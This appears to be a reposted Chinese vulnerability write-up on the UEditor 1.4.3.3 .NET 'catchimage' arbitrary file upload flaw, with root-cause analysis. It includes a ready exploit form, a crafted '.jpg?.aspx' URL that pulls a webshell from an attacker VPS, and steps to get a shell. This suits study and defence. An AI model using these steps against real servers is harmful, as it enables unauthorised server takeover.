ueditor上传图片回调_ueditor 1.4.3.3 .net版 任意文件上传漏洞分析与复现

更多全球网络安全资讯尽在邑安全

复现:

1、准备一个vps放需上传的文件,文件后缀名可正常命名;本地需准备一个可以上传的表单。

祖传表单:<form action="http://127.0.0.1:8888/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST"><p>shell addr: <input style="width: 20%" type="text" name="source[]" />p><input type="submit" value="Submit" />form>

2、在本地上传处写入构造好的文件地址,关于如何构造地址,我的理解是需满足两点:① 访问地址可以正常解析图片。② url以.aspx或.asp结尾。
http://x.x.x.x/blank.jpg?.aspx,其中?也可换成##后面也可以跟任意符号(#及之后出现的字符都不会在http的请求中),成功上传后会返回文件路径。c46f85bf35a8fd17e70b78552f8dafa2.png
上传成功后返回路径:f601dea1df151080882754ff1486596c.png
3、得到上传后的文件路径为http://127.0.0.1:8888/ueditor/net/upload/image/20200724/6373120182442592589757697.aspx,蚁剑连接,成功getshell。927ba138382271f03b07f9721162aa1e.png

漏洞原理:

1、本次任意文件上传主要是action=catchimage产生的,可以看到,在catchimage这个分支下,其实例化了CrawlerHandler这个类。60d2ae8a7b2121722d632581a49d6990.png

2、跟进这个类CrawlerHandler,发现在该类中对于上传的文件,只通过校验ContentType来判断是否为图片,未对文件后缀进行正确的校验;fdfdec805b5d004bf0bdf34bf28eb3ad.png

3、而满足条件的文件上传成功后会被重新命名(PathFormatter.Format()),命名文件后缀时,是选取url地址的扩展名作为重命名后文件的后缀,这就给了我们可以操作的空间。只要我们制作一个图片马,便可绕过前面对于文件类型的限制;并将图片地址构造出以.asp或.aspx结尾的url,就能得到一个重命名后后缀为.asp或.aspx的文件。ed11fe501eadb7e3f3b7926833d29b08.png

一点小坑

1、仅.net版本存在该漏洞。
由于对asp和asp.net的不熟悉,并且当时下载页面没有.net的选项,导致我以为下载的asp版的就是有问题的.net版本,结果死活复现不成功,后来发现问题,去github上找到的.net版。

2、测试上传时,给的url地址不能是内网地址,因此需要一个vps。ce72e20e25b0cf49a873a46339074f0a.png

转自先知社区
欢迎收藏并分享朋友圈,让五邑人网络更安全

eed5713ce41d96f240cb172abc1a459f.png

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值